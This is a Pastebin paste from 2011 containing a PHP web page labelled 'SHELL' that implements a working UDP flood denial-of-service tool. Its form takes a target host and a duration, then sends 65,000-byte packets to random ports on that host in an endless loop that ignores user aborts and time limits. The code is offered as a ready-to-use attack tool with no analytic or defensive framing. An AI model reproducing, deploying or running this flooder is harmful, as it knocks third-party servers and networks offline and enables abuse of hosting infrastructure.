Advertisement
Guest User

Untitled

a guest
Aug 12th, 2011
1,062
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.75 KB | None | 0 0
  1. <html>
  2. <body>
  3. <center>
  4. <font color="00FF00">
  5. <pre>SHELL</pre>
  6.  
  7. <STYLE>
  8. input{
  9. background-color: #00FF00; font-size: 8pt; color: #00; font-family: Tahoma; border: 1 solid #66;
  10. }
  11. button{
  12. background-color: #00FF00; font-size: 8pt; color: #00; font-family: Tahoma; border: 1 solid #66;
  13. }
  14. body {
  15. background-color: #00;
  16. }
  17. </STYLE>
  18.  
  19. <?php
  20. //UDP
  21. if(isset($_GET['host'])&&isset($_GET['time'])){
  22. $packets = 0;
  23. ignore_user_abort(TRUE);
  24. set_time_limit(0);
  25.  
  26. $exec_time = $_GET['time'];
  27.  
  28. $time = time();
  29. //print "Started: ".time('d-m-y h:i:s')."<br>";
  30. $max_time = $time+$exec_time;
  31.  
  32. $host = $_GET['host'];
  33.  
  34. for($i=0;$i<65000;$i++){
  35. $out .= 'X';
  36. }
  37.  
  38. while(1){
  39. $packets++;
  40. if(time() > $max_time){
  41. break;
  42. }
  43. $rand = rand(1,65000);
  44. $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  45. if($fp){
  46. fwrite($fp, $out);
  47. fclose($fp);
  48. }
  49. }
  50.  
  51. echo "UDP Flood - Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
  52. echo '<br><br>
  53. <form action="'.$surl.'" method=GET>
  54. <input type="hidden" name="act" value="phptools">
  55. Host: <br><input type=text name=host><br>
  56. Length (seconds): <br><input type=text name=time><br>
  57. <input type=submit value=Go></form>';
  58. }else{ echo '<br><b>UDP Flood</b><br>
  59. <form action=? method=GET>
  60. <input type="hidden" name="act" value="phptools">
  61. Host: <br><input type=text name=host value=><br>
  62. Length (seconds): <br><input type=text name=time value=><br><br>
  63. <input type=submit value=Go></form>';
  64. }
  65. ?>
  66.  
  67. </center>
  68. </body>
  69. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement